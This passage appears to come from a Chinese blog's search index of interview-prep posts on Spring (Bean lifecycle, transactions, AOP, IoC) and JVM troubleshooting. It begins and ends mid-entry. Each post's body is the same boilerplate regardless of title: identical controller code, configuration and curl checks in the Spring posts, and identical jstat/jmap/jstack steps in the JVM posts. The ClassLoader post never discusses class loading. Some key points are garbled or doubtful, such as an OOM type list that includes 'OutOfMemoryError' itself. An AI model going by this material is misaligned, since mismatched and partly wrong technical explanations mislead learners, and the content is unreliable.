class="line">&#125;</span><br></pre></td></tr></table></figure><p>Controller 只负责接收请求和返回结果，业务逻辑放到 Service。这样代码更容易测试，也更容易维护。</p><h2 id="配置和验证"><a href="#配置和验证" class="headerlink" title="配置和验证"></a>配置和验证</h2><p>如果涉及环境配置，建议拆分：</p><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="attr">spring:</span></span><br><span class="line">  <span class="attr">profiles:</span></span><br><span class="line">    <span class="attr">active:</span> <span class="string">dev</span></span><br><span class="line"></span><br><span class="line"><span class="attr">server:</span></span><br><span class="line">  <span class="attr">port:</span> <span class="number">8080</span></span><br></pre></td></tr></table></figure><p>生产环境启动时不要手工改文件，可以通过参数指定：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">java -jar app.jar --spring.profiles.active=prod</span><br></pre></td></tr></table></figure><p>接口写完后，用 curl 验证：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">curl http://localhost:8080/users/1</span><br></pre></td></tr></table></figure><h2 id="常见坑"><a href="#常见坑" class="headerlink" title="常见坑"></a>常见坑</h2><ul><li>事务方法必须通过 Spring 代理调用，类内部直接调用可能导致事务不生效。</li><li>Controller 不要返回 Entity，避免数据库字段直接暴露。</li><li>参数校验和异常处理最好统一做，不要散落在每个接口里。</li></ul>]]></content>
      
      
      <categories>
          
          <category> SpringBoot </category>
          
      </categories>
      
      
        <tags>
            
            <tag> JAVA </tag>
            
            <tag> SpringBoot </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>面试：Bean 生命周期按步骤理解</title>
      <link href="//bean-sheng-ming-zhou-qi-an-bu-zou-li-jie/"/>
      <url>//bean-sheng-ming-zhou-qi-an-bu-zou-li-jie/</url>
      
        <content type="html"><![CDATA[<h1 id="面试：Bean-生命周期按步骤理解"><a href="#面试：Bean-生命周期按步骤理解" class="headerlink" title="面试：Bean 生命周期按步骤理解"></a>面试：Bean 生命周期按步骤理解</h1><p>Spring Bean 的生命周期一直是面试和日常开发中绕不开的话题。很多人知道有几个回调方法，但对执行顺序和实际应用场景并不清楚。本文按初始化到销毁的顺序，把关键节点梳理清楚，结合实际代码说明每个阶段的作用。</p><h2 id="先搭一个最小接口"><a href="#先搭一个最小接口" class="headerlink" title="先搭一个最小接口"></a>先搭一个最小接口</h2><p>以 Spring Boot 为例，一个接口最好保持分层清楚：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@RestController</span></span><br><span class="line"><span class="meta">@RequestMapping(&quot;/users&quot;)</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">UserController</span> &#123;</span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">final</span> UserService userService;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="title function_">UserController</span><span class="params">(UserService userService)</span> &#123;</span><br><span class="line">        <span class="built_in">this</span>.userService = userService;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="meta">@GetMapping(&quot;/&#123;id&#125;&quot;)</span></span><br><span class="line">    <span class="keyword">public</span> UserDTO <span class="title function_">detail</span><span class="params">(<span class="meta">@PathVariable</span> Long id)</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> userService.detail(id);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>Controller 只负责接收请求和返回结果，业务逻辑放到 Service。这样代码更容易测试，也更容易维护。</p><h2 id="配置和验证"><a href="#配置和验证" class="headerlink" title="配置和验证"></a>配置和验证</h2><p>如果涉及环境配置，建议拆分：</p><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="attr">spring:</span></span><br><span class="line">  <span class="attr">profiles:</span></span><br><span class="line">    <span class="attr">active:</span> <span class="string">dev</span></span><br><span class="line"></span><br><span class="line"><span class="attr">server:</span></span><br><span class="line">  <span class="attr">port:</span> <span class="number">8080</span></span><br></pre></td></tr></table></figure><p>生产环境启动时不要手工改文件，可以通过参数指定：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">java -jar app.jar --spring.profiles.active=prod</span><br></pre></td></tr></table></figure><p>接口写完后，用 curl 验证：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">curl http://localhost:8080/users/1</span><br></pre></td></tr></table></figure><h2 id="常见坑"><a href="#常见坑" class="headerlink" title="常见坑"></a>常见坑</h2><ul><li>事务方法必须通过 Spring 代理调用，类内部直接调用可能导致事务不生效。</li><li>Controller 不要返回 Entity，避免数据库字段直接暴露。</li><li>参数校验和异常处理最好统一做，不要散落在每个接口里。</li></ul><h2 id="核心要点"><a href="#核心要点" class="headerlink" title="核心要点"></a>核心要点</h2><ol><li><p>构造器注入是 Spring 4.3+ 推荐的方式，能保证依赖在对象创建时就被注入</p></li><li><p>@PostConstruct 和 InitializingBean.afterPropertiesSet() 的执行顺序很关键</p></li><li><p>Aware 接口让 Bean 能够感知容器的上下文信息</p></li><li><p>销毁阶段的回调同样有两种方式：@PreDestroy 和 DisposableBean.destroy()</p></li></ol><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>理清 Bean 的生命周期，有助于理解 Spring 容器的工作机制，也能帮你在合适的时机执行初始化和清理逻辑。比如在 @PostConstruct 中建立数据库连接，在 @PreDestroy 中释放资源。</p>]]></content>
      
      
      <categories>
          
          <category> Spring </category>
          
      </categories>
      
      
        <tags>
            
            <tag> JAVA </tag>
            
            <tag> Spring </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>面试：Spring 事务失效的常见原因</title>
      <link href="//spring-shi-wu-shi-xiao-de-chang-jian-yuan-yin/"/>
      <url>//spring-shi-wu-shi-xiao-de-chang-jian-yuan-yin/</url>
      
        <content type="html"><![CDATA[<h1 id="面试：Spring-事务失效的常见原因"><a href="#面试：Spring-事务失效的常见原因" class="headerlink" title="面试：Spring 事务失效的常见原因"></a>面试：Spring 事务失效的常见原因</h1><p>Spring 事务用起来简单，但失效场景非常多。很多人遇到过 @Transactional 不生效的情况，却不知道原因。本文把日常开发中常见的坑和对应的排查思路整理出来，帮你避免踩坑。</p><h2 id="先搭一个最小接口"><a href="#先搭一个最小接口" class="headerlink" title="先搭一个最小接口"></a>先搭一个最小接口</h2><p>以 Spring Boot 为例，一个接口最好保持分层清楚：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@RestController</span></span><br><span class="line"><span class="meta">@RequestMapping(&quot;/users&quot;)</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">UserController</span> &#123;</span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">final</span> UserService userService;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="title function_">UserController</span><span class="params">(UserService userService)</span> &#123;</span><br><span class="line">        <span class="built_in">this</span>.userService = userService;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="meta">@GetMapping(&quot;/&#123;id&#125;&quot;)</span></span><br><span class="line">    <span class="keyword">public</span> UserDTO <span class="title function_">detail</span><span class="params">(<span class="meta">@PathVariable</span> Long id)</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> userService.detail(id);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>Controller 只负责接收请求和返回结果，业务逻辑放到 Service。这样代码更容易测试，也更容易维护。</p><h2 id="配置和验证"><a href="#配置和验证" class="headerlink" title="配置和验证"></a>配置和验证</h2><p>如果涉及环境配置，建议拆分：</p><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="attr">spring:</span></span><br><span class="line">  <span class="attr">profiles:</span></span><br><span class="line">    <span class="attr">active:</span> <span class="string">dev</span></span><br><span class="line"></span><br><span class="line"><span class="attr">server:</span></span><br><span class="line">  <span class="attr">port:</span> <span class="number">8080</span></span><br></pre></td></tr></table></figure><p>生产环境启动时不要手工改文件，可以通过参数指定：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">java -jar app.jar --spring.profiles.active=prod</span><br></pre></td></tr></table></figure><p>接口写完后，用 curl 验证：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">curl http://localhost:8080/users/1</span><br></pre></td></tr></table></figure><h2 id="常见坑"><a href="#常见坑" class="headerlink" title="常见坑"></a>常见坑</h2><ul><li>事务方法必须通过 Spring 代理调用，类内部直接调用可能导致事务不生效。</li><li>Controller 不要返回 Entity，避免数据库字段直接暴露。</li><li>参数校验和异常处理最好统一做，不要散落在每个接口里。</li></ul><h2 id="核心要点"><a href="#核心要点" class="headerlink" title="核心要点"></a>核心要点</h2><ol><li><p>事务失效的常见原因：非 public 方法、自调用、异常被吞掉、错误的传播级别</p></li><li><p>事务传播级别决定了方法之间的事务关系，REQUIRED 是默认值</p></li><li><p>使用 @Transactional(rollbackFor = Exception.class) 确保异常回滚</p></li><li><p>编程式事务在某些场景下比声明式事务更灵活</p></li></ol><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>事务管理是保证数据一致性的关键。理解事务的工作机制和常见陷阱，能帮你写出更健壮的代码。在实际项目中，合理配置事务边界非常重要。</p>]]></content>
      
      
      <categories>
          
          <category> Spring </category>
          
      </categories>
      
      
        <tags>
            
            <tag> JAVA </tag>
            
            <tag> Spring </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>面试：Spring AOP 的原理和常见应用</title>
      <link href="//spring-aop-de-yuan-li-he-chang-jian-ying-yong/"/>
      <url>//spring-aop-de-yuan-li-he-chang-jian-ying-yong/</url>
      
        <content type="html"><![CDATA[<h1 id="面试：Spring-AOP-的原理和常见应用"><a href="#面试：Spring-AOP-的原理和常见应用" class="headerlink" title="面试：Spring AOP 的原理和常见应用"></a>面试：Spring AOP 的原理和常见应用</h1><p>AOP 是 Spring 的核心功能之一，但真正用起来容易踩坑。很多人知道 @Aspect 注解，却不清楚代理模式的区别、切面的执行顺序、以及自调用失效的问题。本文从配置到常见问题，把实际项目中的处理思路整理出来。</p><h2 id="先搭一个最小接口"><a href="#先搭一个最小接口" class="headerlink" title="先搭一个最小接口"></a>先搭一个最小接口</h2><p>以 Spring Boot 为例，一个接口最好保持分层清楚：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@RestController</span></span><br><span class="line"><span class="meta">@RequestMapping(&quot;/users&quot;)</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">UserController</span> &#123;</span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">final</span> UserService userService;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="title function_">UserController</span><span class="params">(UserService userService)</span> &#123;</span><br><span class="line">        <span class="built_in">this</span>.userService = userService;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="meta">@GetMapping(&quot;/&#123;id&#125;&quot;)</span></span><br><span class="line">    <span class="keyword">public</span> UserDTO <span class="title function_">detail</span><span class="params">(<span class="meta">@PathVariable</span> Long id)</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> userService.detail(id);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>Controller 只负责接收请求和返回结果，业务逻辑放到 Service。这样代码更容易测试，也更容易维护。</p><h2 id="配置和验证"><a href="#配置和验证" class="headerlink" title="配置和验证"></a>配置和验证</h2><p>如果涉及环境配置，建议拆分：</p><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="attr">spring:</span></span><br><span class="line">  <span class="attr">profiles:</span></span><br><span class="line">    <span class="attr">active:</span> <span class="string">dev</span></span><br><span class="line"></span><br><span class="line"><span class="attr">server:</span></span><br><span class="line">  <span class="attr">port:</span> <span class="number">8080</span></span><br></pre></td></tr></table></figure><p>生产环境启动时不要手工改文件，可以通过参数指定：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">java -jar app.jar --spring.profiles.active=prod</span><br></pre></td></tr></table></figure><p>接口写完后，用 curl 验证：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">curl http://localhost:8080/users/1</span><br></pre></td></tr></table></figure><h2 id="常见坑"><a href="#常见坑" class="headerlink" title="常见坑"></a>常见坑</h2><ul><li>事务方法必须通过 Spring 代理调用，类内部直接调用可能导致事务不生效。</li><li>Controller 不要返回 Entity，避免数据库字段直接暴露。</li><li>参数校验和异常处理最好统一做，不要散落在每个接口里。</li></ul><h2 id="核心要点"><a href="#核心要点" class="headerlink" title="核心要点"></a>核心要点</h2><ol><li><p>JDK 动态代理和 CGLIB 代理的区别：前者基于接口，后者基于类</p></li><li><p>切面的优先级由 @Order 注解控制，数字越小优先级越高</p></li><li><p>自调用问题的原因是内部方法调用不会经过代理对象</p></li><li><p>使用 ProxyUtils 或暴露 AopContext 可以解决自调用问题</p></li></ol><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>AOP 是实现横切关注点的利器，但需要理解其底层机制才能用好。在实际项目中，日志、事务、权限校验都是 AOP 的典型应用场景。</p>]]></content>
      
      
      <categories>
          
          <category> Spring </category>
          
      </categories>
      
      
        <tags>
            
            <tag> JAVA </tag>
            
            <tag> Spring </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>面试：Spring IoC 容器到底解决了什么</title>
      <link href="//spring-ioc-rong-qi-dao-di-jie-jue-liao-shi-me/"/>
      <url>//spring-ioc-rong-qi-dao-di-jie-jue-liao-shi-me/</url>
      
        <content type="html"><![CDATA[<h1 id="面试：Spring-IoC-容器到底解决了什么"><a href="#面试：Spring-IoC-容器到底解决了什么" class="headerlink" title="面试：Spring IoC 容器到底解决了什么"></a>面试：Spring IoC 容器到底解决了什么</h1><p>IoC 容器是 Spring 的根基，很多开发者每天在用却未必能说清它解决了什么。从手动 new 对象到依赖注入，这个转变看似简单，却带来了巨大的设计优势。本文从实际使用场景出发，理解依赖注入的价值。</p><h2 id="先搭一个最小接口"><a href="#先搭一个最小接口" class="headerlink" title="先搭一个最小接口"></a>先搭一个最小接口</h2><p>以 Spring Boot 为例，一个接口最好保持分层清楚：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@RestController</span></span><br><span class="line"><span class="meta">@RequestMapping(&quot;/users&quot;)</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">UserController</span> &#123;</span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">final</span> UserService userService;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="title function_">UserController</span><span class="params">(UserService userService)</span> &#123;</span><br><span class="line">        <span class="built_in">this</span>.userService = userService;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="meta">@GetMapping(&quot;/&#123;id&#125;&quot;)</span></span><br><span class="line">    <span class="keyword">public</span> UserDTO <span class="title function_">detail</span><span class="params">(<span class="meta">@PathVariable</span> Long id)</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> userService.detail(id);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>Controller 只负责接收请求和返回结果，业务逻辑放到 Service。这样代码更容易测试，也更容易维护。</p><h2 id="配置和验证"><a href="#配置和验证" class="headerlink" title="配置和验证"></a>配置和验证</h2><p>如果涉及环境配置，建议拆分：</p><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="attr">spring:</span></span><br><span class="line">  <span class="attr">profiles:</span></span><br><span class="line">    <span class="attr">active:</span> <span class="string">dev</span></span><br><span class="line"></span><br><span class="line"><span class="attr">server:</span></span><br><span class="line">  <span class="attr">port:</span> <span class="number">8080</span></span><br></pre></td></tr></table></figure><p>生产环境启动时不要手工改文件，可以通过参数指定：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">java -jar app.jar --spring.profiles.active=prod</span><br></pre></td></tr></table></figure><p>接口写完后，用 curl 验证：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">curl http://localhost:8080/users/1</span><br></pre></td></tr></table></figure><h2 id="常见坑"><a href="#常见坑" class="headerlink" title="常见坑"></a>常见坑</h2><ul><li>事务方法必须通过 Spring 代理调用，类内部直接调用可能导致事务不生效。</li><li>Controller 不要返回 Entity，避免数据库字段直接暴露。</li><li>参数校验和异常处理最好统一做，不要散落在每个接口里。</li></ul><h2 id="核心要点"><a href="#核心要点" class="headerlink" title="核心要点"></a>核心要点</h2><ol><li><p>依赖注入实现了控制反转，把对象创建的控制权交给容器</p></li><li><p>构造器注入优于字段注入，能保证依赖的不可变性和非空性</p></li><li><p>IoC 容器提供了对象生命周期管理、依赖解析、配置管理等能力</p></li><li><p>通过 @Autowired 或 @Resource 注解实现依赖注入，前者按类型，后者按名称</p></li></ol><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>IoC 不仅是一种技术实现，更是一种设计理念。它让代码更易测试、更易维护、更具扩展性。理解 IoC 有助于更好地设计和架构 Spring 应用。</p>]]></content>
      
      
      <categories>
          
          <category> Spring </category>
          
      </categories>
      
      
        <tags>
            
            <tag> JAVA </tag>
            
            <tag> Spring </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>面试：内存溢出和内存泄漏排查流程</title>
      <link href="//nei-cun-yi-chu-he-nei-cun-xie-lou-pai-cha-liu-cheng/"/>
      <url>//nei-cun-yi-chu-he-nei-cun-xie-lou-pai-cha-liu-cheng/</url>
      
        <content type="html"><![CDATA[<h1 id="面试：内存溢出和内存泄漏排查流程"><a href="#面试：内存溢出和内存泄漏排查流程" class="headerlink" title="面试：内存溢出和内存泄漏排查流程"></a>面试：内存溢出和内存泄漏排查流程</h1><p>内存溢出和内存泄漏在 Java 项目中并不少见。本文讲排查流程和常见原因。</p><h2 id="先看现象，不要急着改参数"><a href="#先看现象，不要急着改参数" class="headerlink" title="先看现象，不要急着改参数"></a>先看现象，不要急着改参数</h2><p>JVM 问题常见现象有：CPU 飙高、频繁 Full GC、接口变慢、内存溢出。处理时先收集证据：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">jps -l</span><br><span class="line">top -Hp &lt;pid&gt;</span><br><span class="line">jstat -gcutil &lt;pid&gt; 1000 10</span><br><span class="line">jmap -histo &lt;pid&gt; | <span class="built_in">head</span> -30</span><br></pre></td></tr></table></figure><p>如果是 CPU 高，把线程 id 转成十六进制后，用 <code>jstack</code> 找对应线程：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">printf</span> <span class="string">&#x27;%x\n&#x27;</span> &lt;tid&gt;</span><br><span class="line">jstack &lt;pid&gt; | grep -A 30 <span class="string">&#x27;&lt;hexTid&gt;&#x27;</span></span><br></pre></td></tr></table></figure><h2 id="GC-日志怎么看"><a href="#GC-日志怎么看" class="headerlink" title="GC 日志怎么看"></a>GC 日志怎么看</h2><p>不要只看“发生了 GC”，重点看频率、停顿时间、回收前后内存变化。如果每次回收后老年代仍然很高，可能是对象长期被引用，需要继续分析堆。</p><h2 id="小白可以怎么练"><a href="#小白可以怎么练" class="headerlink" title="小白可以怎么练"></a>小白可以怎么练</h2><p>本地写一个不断往 List 里放对象的 demo，故意触发 OOM，然后用 <code>jmap</code> 导出堆文件，用 MAT 或 VisualVM 看最大对象是谁。练过一次，线上看到类似问题就不会慌。</p>]]></content>
      
      
      <categories>
          
          <category> JVM </category>
          
      </categories>
      
      
        <tags>
            
            <tag> JAVA </tag>
            
            <tag> JVM </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>面试：线上 CPU 飙高如何定位 Java 问题</title>
      <link href="//xian-shang-cpu-biao-gao-ru-he-ding-wei-java-wen-ti/"/>
      <url>//xian-shang-cpu-biao-gao-ru-he-ding-wei-java-wen-ti/</url>
      
        <content type="html"><![CDATA[<h1 id="面试：线上-CPU-飙高如何定位-Java-问题"><a href="#面试：线上-CPU-飙高如何定位-Java-问题" class="headerlink" title="面试：线上 CPU 飙高如何定位 Java 问题"></a>面试：线上 CPU 飙高如何定位 Java 问题</h1><p>线上 CPU 飙高是典型的紧急问题。本文讲一套从定位到解决的排查流程。</p><h2 id="先看现象，不要急着改参数"><a href="#先看现象，不要急着改参数" class="headerlink" title="先看现象，不要急着改参数"></a>先看现象，不要急着改参数</h2><p>JVM 问题常见现象有：CPU 飙高、频繁 Full GC、接口变慢、内存溢出。处理时先收集证据：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">jps -l</span><br><span class="line">top -Hp &lt;pid&gt;</span><br><span class="line">jstat -gcutil &lt;pid&gt; 1000 10</span><br><span class="line">jmap -histo &lt;pid&gt; | <span class="built_in">head</span> -30</span><br></pre></td></tr></table></figure><p>如果是 CPU 高，把线程 id 转成十六进制后，用 <code>jstack</code> 找对应线程：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">printf</span> <span class="string">&#x27;%x\n&#x27;</span> &lt;tid&gt;</span><br><span class="line">jstack &lt;pid&gt; | grep -A 30 <span class="string">&#x27;&lt;hexTid&gt;&#x27;</span></span><br></pre></td></tr></table></figure><h2 id="GC-日志怎么看"><a href="#GC-日志怎么看" class="headerlink" title="GC 日志怎么看"></a>GC 日志怎么看</h2><p>不要只看“发生了 GC”，重点看频率、停顿时间、回收前后内存变化。如果每次回收后老年代仍然很高，可能是对象长期被引用，需要继续分析堆。</p><h2 id="小白可以怎么练"><a href="#小白可以怎么练" class="headerlink" title="小白可以怎么练"></a>小白可以怎么练</h2><p>本地写一个不断往 List 里放对象的 demo，故意触发 OOM，然后用 <code>jmap</code> 导出堆文件，用 MAT 或 VisualVM 看最大对象是谁。练过一次，线上看到类似问题就不会慌。</p>]]></content>
      
      
      <categories>
          
          <category> JVM </category>
          
      </categories>
      
      
        <tags>
            
            <tag> JAVA </tag>
            
            <tag> JVM </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>面试：ClassLoader 双亲委派模型实践理解</title>
      <link href="//classloader-shuang-qin-wei-pai-mo-xing-shi-jian-li-jie/"/>
      <url>//classloader-shuang-qin-wei-pai-mo-xing-shi-jian-li-jie/</url>
      
        <content type="html"><![CDATA[<h1 id="面试：ClassLoader-双亲委派模型实践理解"><a href="#面试：ClassLoader-双亲委派模型实践理解" class="headerlink" title="面试：ClassLoader 双亲委派模型实践理解"></a>面试：ClassLoader 双亲委派模型实践理解</h1><p>双亲委派模型是 Java 类加载的核心。本文讲它的原理和实际应用。</p><h2 id="先看现象，不要急着改参数"><a href="#先看现象，不要急着改参数" class="headerlink" title="先看现象，不要急着改参数"></a>先看现象，不要急着改参数</h2><p>JVM 问题常见现象有：CPU 飙高、频繁 Full GC、接口变慢、内存溢出。处理时先收集证据：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">jps -l</span><br><span class="line">top -Hp &lt;pid&gt;</span><br><span class="line">jstat -gcutil &lt;pid&gt; 1000 10</span><br><span class="line">jmap -histo &lt;pid&gt; | <span class="built_in">head</span> -30</span><br></pre></td></tr></table></figure><p>如果是 CPU 高，把线程 id 转成十六进制后，用 <code>jstack</code> 找对应线程：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">printf</span> <span class="string">&#x27;%x\n&#x27;</span> &lt;tid&gt;</span><br><span class="line">jstack &lt;pid&gt; | grep -A 30 <span class="string">&#x27;&lt;hexTid&gt;&#x27;</span></span><br></pre></td></tr></table></figure><h2 id="GC-日志怎么看"><a href="#GC-日志怎么看" class="headerlink" title="GC 日志怎么看"></a>GC 日志怎么看</h2><p>不要只看“发生了 GC”，重点看频率、停顿时间、回收前后内存变化。如果每次回收后老年代仍然很高，可能是对象长期被引用，需要继续分析堆。</p><h2 id="小白可以怎么练"><a href="#小白可以怎么练" class="headerlink" title="小白可以怎么练"></a>小白可以怎么练</h2><p>本地写一个不断往 List 里放对象的 demo，故意触发 OOM，然后用 <code>jmap</code> 导出堆文件，用 MAT 或 VisualVM 看最大对象是谁。练过一次，线上看到类似问题就不会慌。</p>]]></content>
      
      
      <categories>
          
          <category> JVM </category>
          
      </categories>
      
      
        <tags>
            
            <tag> JAVA </tag>
            
            <tag> JVM </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>面试：GC 日志怎么看才有用</title>
      <link href="//gc-ri-zhi-zen-me-kan-cai-you-yong/"/>
      <url>//gc-ri-zhi-zen-me-kan-cai-you-yong/</url>
      
        <content type="html"><![CDATA[<h1 id="面试：GC-日志怎么看才有用"><a href="#面试：GC-日志怎么看才有用" class="headerlink" title="面试：GC 日志怎么看才有用"></a>面试：GC 日志怎么看才有用</h1><p>GC 日志看起来乱，关键是找准几个核心指标。很多开发者面对 GC 日志不知道该关注什么。本文从实际调优经验出发，讲需要关注什么、忽略什么，帮你快速定位问题。</p><h2 id="先看现象，不要急着改参数"><a href="#先看现象，不要急着改参数" class="headerlink" title="先看现象，不要急着改参数"></a>先看现象，不要急着改参数</h2><p>JVM 问题常见现象有：CPU 飙高、频繁 Full GC、接口变慢、内存溢出。处理时先收集证据：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">jps -l</span><br><span class="line">top -Hp &lt;pid&gt;</span><br><span class="line">jstat -gcutil &lt;pid&gt; 1000 10</span><br><span class="line">jmap -histo &lt;pid&gt; | <span class="built_in">head</span> -30</span><br></pre></td></tr></table></figure><p>如果是 CPU 高，把线程 id 转成十六进制后，用 <code>jstack</code> 找对应线程：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">printf</span> <span class="string">&#x27;%x\n&#x27;</span> &lt;tid&gt;</span><br><span class="line">jstack &lt;pid&gt; | grep -A 30 <span class="string">&#x27;&lt;hexTid&gt;&#x27;</span></span><br></pre></td></tr></table></figure><h2 id="GC-日志怎么看"><a href="#GC-日志怎么看" class="headerlink" title="GC 日志怎么看"></a>GC 日志怎么看</h2><p>不要只看“发生了 GC”，重点看频率、停顿时间、回收前后内存变化。如果每次回收后老年代仍然很高，可能是对象长期被引用，需要继续分析堆。</p><h2 id="小白可以怎么练"><a href="#小白可以怎么练" class="headerlink" title="小白可以怎么练"></a>小白可以怎么练</h2><p>本地写一个不断往 List 里放对象的 demo，故意触发 OOM，然后用 <code>jmap</code> 导出堆文件，用 MAT 或 VisualVM 看最大对象是谁。练过一次，线上看到类似问题就不会慌。</p><h2 id="核心要点"><a href="#核心要点" class="headerlink" title="核心要点"></a>核心要点</h2><ol><li><p>关注 Minor GC 和 Full GC 的频率和耗时</p></li><li><p>年轻代晋升到老年代的对象大小和频率</p></li><li><p>GC 前后的内存使用变化</p></li><li><p>使用 jstat、jmap、jvisualvm 等工具辅助分析</p></li></ol><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>GC 调优是一个持续的过程，没有一劳永逸的方案。需要结合业务特点、数据量、响应时间要求来调整。理解 GC 日志是调优的第一步。</p>]]></content>
      
      
      <categories>
          
          <category> JVM </category>
          
      </categories>
      
      
        <tags>
            
            <tag> JAVA </tag>
            
            <tag> JVM </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>面试：JVM 内存区域从入门到排查</title>
      <link href="//jvm-nei-cun-qu-yu-cong-ru-men-dao-pai-cha/"/>
      <url>//jvm-nei-cun-qu-yu-cong-ru-men-dao-pai-cha/</url>
      
        <content type="html"><![CDATA[<h1 id="面试：JVM-内存区域从入门到排查"><a href="#面试：JVM-内存区域从入门到排查" class="headerlink" title="面试：JVM 内存区域从入门到排查"></a>面试：JVM 内存区域从入门到排查</h1><p>JVM 内存布局是排查线上问题的基础。很多开发者遇到 OutOfMemoryError 时不知道从哪里入手。本文结合实际案例，讲清楚各区域的作用和常见异常，帮你建立排查思路。</p><h2 id="先看现象，不要急着改参数"><a href="#先看现象，不要急着改参数" class="headerlink" title="先看现象，不要急着改参数"></a>先看现象，不要急着改参数</h2><p>JVM 问题常见现象有：CPU 飙高、频繁 Full GC、接口变慢、内存溢出。处理时先收集证据：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">jps -l</span><br><span class="line">top -Hp &lt;pid&gt;</span><br><span class="line">jstat -gcutil &lt;pid&gt; 1000 10</span><br><span class="line">jmap -histo &lt;pid&gt; | <span class="built_in">head</span> -30</span><br></pre></td></tr></table></figure><p>如果是 CPU 高，把线程 id 转成十六进制后，用 <code>jstack</code> 找对应线程：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">printf</span> <span class="string">&#x27;%x\n&#x27;</span> &lt;tid&gt;</span><br><span class="line">jstack &lt;pid&gt; | grep -A 30 <span class="string">&#x27;&lt;hexTid&gt;&#x27;</span></span><br></pre></td></tr></table></figure><h2 id="GC-日志怎么看"><a href="#GC-日志怎么看" class="headerlink" title="GC 日志怎么看"></a>GC 日志怎么看</h2><p>不要只看“发生了 GC”，重点看频率、停顿时间、回收前后内存变化。如果每次回收后老年代仍然很高，可能是对象长期被引用，需要继续分析堆。</p><h2 id="小白可以怎么练"><a href="#小白可以怎么练" class="headerlink" title="小白可以怎么练"></a>小白可以怎么练</h2><p>本地写一个不断往 List 里放对象的 demo，故意触发 OOM，然后用 <code>jmap</code> 导出堆文件，用 MAT 或 VisualVM 看最大对象是谁。练过一次，线上看到类似问题就不会慌。</p><h2 id="核心要点"><a href="#核心要点" class="headerlink" title="核心要点"></a>核心要点</h2><ol><li><p>堆内存分为年轻代和老年代，年轻代又分为 Eden、Survivor 等区域</p></li><li><p>栈内存是线程私有的，每个线程都有自己的栈空间</p></li><li><p>方法区（元空间）存储类信息、常量池等</p></li><li><p>常见的 OOM 类型：HeapSpace、OutOfMemoryError、StackOverflowError</p></li></ol><h2 id="总结"><a href="#总结" class="headerlink" 